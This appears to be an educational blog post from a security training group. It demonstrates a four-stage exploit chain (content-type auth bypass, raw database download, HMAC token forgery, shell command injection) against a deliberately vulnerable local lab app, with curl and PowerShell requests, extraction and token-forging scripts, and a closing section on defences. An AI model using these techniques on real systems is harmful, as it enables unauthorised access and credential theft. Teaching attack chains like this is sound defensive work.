top of page

Stop Hunting Bugs & Start Hunting Chains (Part 2: POC)

Now let’s move to the interesting part! Inspired by the Ni8mare Chain, we will see a four-stage exploit path inside a deliberately flawed Python platform CRAC. The chain combines:

·       Content-type confusion

·       Direct database disclosure

·       Weak cryptographic identity

·       Command injection

 

Homepage

 

Authentication Bypass (CVE-2026-21858) - Understanding the Vulnerability

The Concept:

- Server checks authentication in one way (cookies/headers)

- Server parses request body in another way (form vs JSON)

- Attacker exploits mismatch to bypass auth

 

The indicator:

- Normal request fails: HTTP 401 Unauthorized

- Manipulated request succeeds: HTTP 200 OK

 

The Failed Request (Normal Behavior)

Try executing a command without authentication

curl.exe -X POST http://127.0.0.1:5000/api/exec -H "Content-Type: application/json" -d '{"command":"whoami"}'

 

Expected output:

{"error":"Unauthorized"}

HTTP/1.1 401 UNAUTHORIZED

 

Analysis:

No files parameter

Authentication check PASSES

Request is rejected with 401

 

What the server sees:

request.form is empty

request.files is empty

is_authenticated() returns False

→ Return 401 error

 

The Bypass (Vulnerable Behavior)

Try executing a command WITH files parameter

  -F "files=bypass_trigger" `

  -F "command=whoami"

 

Analysis:

- Contains files key

- Authentication check sees files in request.form

- Sets is_admin = True

- Command is executed

- No credentials needed!

 

What the server sees:

request.form contains {"files": "bypass_trigger"}

→ files in request.form evaluates to True

→ is_admin = True (AUTHENTICATION BYPASSED)

→ Command is executed

 

Database Theft (CVE-2025-68613a) - Understanding the Vulnerability

The Concept:

- Raw database file is served via HTTP endpoint

- No access control on the endpoint

- No rate limiting or logging

- Attacker downloads entire database

 

Accessing the Database Endpoint

Try normal database access (should fail)

 

Expected: 401 Unauthorized (if auth is checked)

OR

Binary SQLite file (if vulnerable)

 

Bypassing Authentication to Get Database

First, bypass authentication as we learned in Demo 1

Then, access the database endpoint

 

  -H "Content-Type: application/json" `

  -d '{"files":"bypass","command":"pwd"}' 2>$null | findstr "var\|home"

 

Response show we have code execution


Next, try to download database

curl.exe -H "X-Bypass: files" `

  -o stolen.sqlite




  

Analysing the Downloaded Database

sqlite3 stolen.sqlite ".tables"

Output: users workflows

 

Look at users (credentials!)

sqlite3 stolen.sqlite "SELECT id, username, password, role FROM users;"

Output:

1|admin|admin123|admin

 

Look at workflows (may contain secrets)

sqlite3 stolen.sqlite "SELECT name, substr(content,1,50) FROM workflows;"

 

 

Verify Complete Data Exposure

Create a comprehensive extraction script

$extraction = @"

import sqlite3

import json

 

conn = sqlite3.connect('stolen.sqlite')

cursor = conn.cursor()

 

# Get all table names

cursor.execute("SELECT name FROM sqlite_master WHERE type='table'")

tables = cursor.fetchall()

 

print("=== COMPLETE DATABASE CONTENTS ===")

for table_name in [t[0] for t in tables]:

    print(f"\nTable: {table_name}")

    cursor.execute(f"PRAGMA table_info({table_name})")

    columns = [col[1] for col in cursor.fetchall()]

    print(f"Columns: {columns}")

   

    cursor.execute(f"SELECT * FROM {table_name}")

    rows = cursor.fetchall()

    for row in rows:

        print(f"  {row}")

 

conn.close()

"@

 

python -c $extraction

 

 

Token Forgery (CVE-2025-68613b)

Understanding the Vulnerability

The Concept:

- Server uses hardcoded secret to sign tokens

- Secret is predictable/known

- No expiration validation

- Attacker can forge any token they want

 

Extract the Secret

The secret is hardcoded in the app

Let's find it

Option 1: Read from application source

import re

with open('app.py', encoding='utf-8') as f:

    content = f.read()

match = re.search(r"SECRET_KEY\s*=\s*['\"](.*?)['\"]", content)

if match:

    print(f"Found SECRET_KEY: {match.group(1)}")

else:

    print("SECRET_KEY not found")

 

 

Output should be: n8n-default-secret

 

Create a Forged Token Manually

Create a Python script to forge a token

import json

import base64

import hmac

import hashlib

from datetime import datetime, timedelta

# The known secret

SECRET_KEY = "n8n-default-secret"

# Create token payload

payload = {

    "username": "attacker",

    "role": "admin",

    "exp": (datetime.utcnow() + timedelta(days=365)).isoformat()

}

# Convert payload to JSON

payload_json = json.dumps(payload, separators=(",", ":"))

# Base64 encode (standard, since your app is using custom format)

payload_b64 = base64.b64encode(payload_json.encode()).decode()

# Create HMAC-SHA256 signature

signature = hmac.new(

    SECRET_KEY.encode(),

    payload_b64.encode(),

    hashlib.sha256

).hexdigest()

# Combine into final token

forged_token = f"{payload_b64}.{signature}"

print("=== FORGED TOKEN ===")

print(f"Payload (base64): {payload_b64}")

print(f"Signature (HMAC-SHA256): {signature}")

print(f"\nFull Token:\n{forged_token}")

 

print("\nUse with curl:")

print(f'curl -b "admin_token={forged_token}" http://127.0.0.1:5000/admin')

 

Use the Forged Token

Now use it to access admin endpoints

curl.exe -b "admin_token=eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwicm9sZSI6ImFkbWluIiwiZXhwIjoiMjAyNy0wMy0wNFQxMzoxOTo0Ny43MTAzNjUifQ==.f6cda5fb70a845acef3b8516bf23f53e6d2db83f02eba2196871aaca1bf6c0ec" `

If successful, you should see:

 {

"users": [

{"id": 1, "username": "admin", "role": "admin"},

{"id": 2, "username": "service_account", "role": "user"}

 ]

 }

This proves we have forged admin credentials!

 

 

Remote Code Execution (CVE-2025-68613c)

Understanding the Vulnerability

The Concept:

- User input flows directly to shell command

- No sanitization or validation

- shell=True allows all shell metacharacters

- Attacker can execute arbitrary OS commands

 

Command Execution

Using our previously bypassed authentication

Execute a simple command

  -F "files=bypass_trigger" `

  -F "command=whoami"

 

Expected output:

{"status":"success","output":"www-data\n"}

 

Now, This single shot still triggers the files bypass and runs a series of system‑info commands demonstrating full RCE on the Windows host.

Invoke-WebRequest `

  -Method POST `

  -Headers @{ "Content-Type" = "application/json" } `

  -Body '{"files":"bypass","command":"whoami & ver & cd & hostname"}' |

  Select-Object -Expand Content

 

 

After Running Demonstrations We

Confirmed authentication can be bypassed with files parameter

Confirmed database can be downloaded without proper auth

Confirmed tokens can be forged with known secret

Confirmed arbitrary commands can be executed

Understood how vulnerabilities chain together

Identified attack indicators and logging gaps

Considered defensive measures for each stage

 

Answer this in the comments!

1. What if we added a rate limit? Would it prevent the attack?

2. What if we validated Content-Type strictly? Which stages would it prevent?

3. What if we used proper JWT library? Would token forgery be prevented?

4. What if we used subprocess with shell=False? Which stage gets stopped?

5. What if we logged all the attempts? Could we detect the attack?

 

The Full Chain

Here’s how it all connects

 

 

 

Summary: From Zero to Root


 

No brute force, fuzzing marathon, memory corruption. Just pure logic. This is how real attackers operate in modern cloud-native environments.

 

Breaking the Chain: The Defensive View

You don’t need to eliminate every vulnerability.

You need to eliminate alignment.

 

Fix Identity Enforcement

Authorization must reference session state not input fields.

 

Protect Secrets

·       No hardcoded keys

·       Use secret managers

·       Rotate regularly

·       Enforce entropy

 

Separate Data Layers

Never expose raw database files.

 

 

Eliminate Shell Injection

Avoid shell=True.Pass arguments as structured lists.

 

The Real Lesson

Most real-world breaches don’t begin with a CVSS 9.8.

They begin with:

·       It’s internal only.

·       We’ll fix that later.

·       That’s just a dev secret.

·       This endpoint is temporary.

 

Security collapses when:

·       Authentication is confused with parsing

·       Trust depends on request formatting

·       Secrets are treated casually

·       Execution contexts are exposed

·       Storage artifacts are directly accessible

 

Each issue here is survivable alone. But together they form a full compromise pipeline.

 

Final Takeaway

Attackers don’t think in isolated vulnerabilities. They think in chains.

If your system has:

·       One auth shortcut

·       One weak secret

·       One parsing inconsistency

·       One injection point

You don’t have four medium risks. You have one complete breach path and that is what the Ni8mare Chain was.

 

Final Thought

The real lie in cybersecurity is not a single vulnerability. It’s the belief that vulnerabilities exist in isolation.

They don’t. They exist in systems & systems interact & attackers don’t break your strongest wall. They align your weakest ones.

If you defend vulnerabilities individually, you will always be one chain behind.

If you defend attack paths, you start thinking like the adversary.

And that’s where real security begins..


 
 
 

Recent Posts

See All

Comments


Address

CRAC Learning Foundation

C-1506, CELEBRITY SUITES, Gurugram, Haryana 122022

Connect

  • LinkedIn
  • X
  • Whatsapp
  • Discord
  • Instagram
  • Medium

+91-7428973398

bottom of page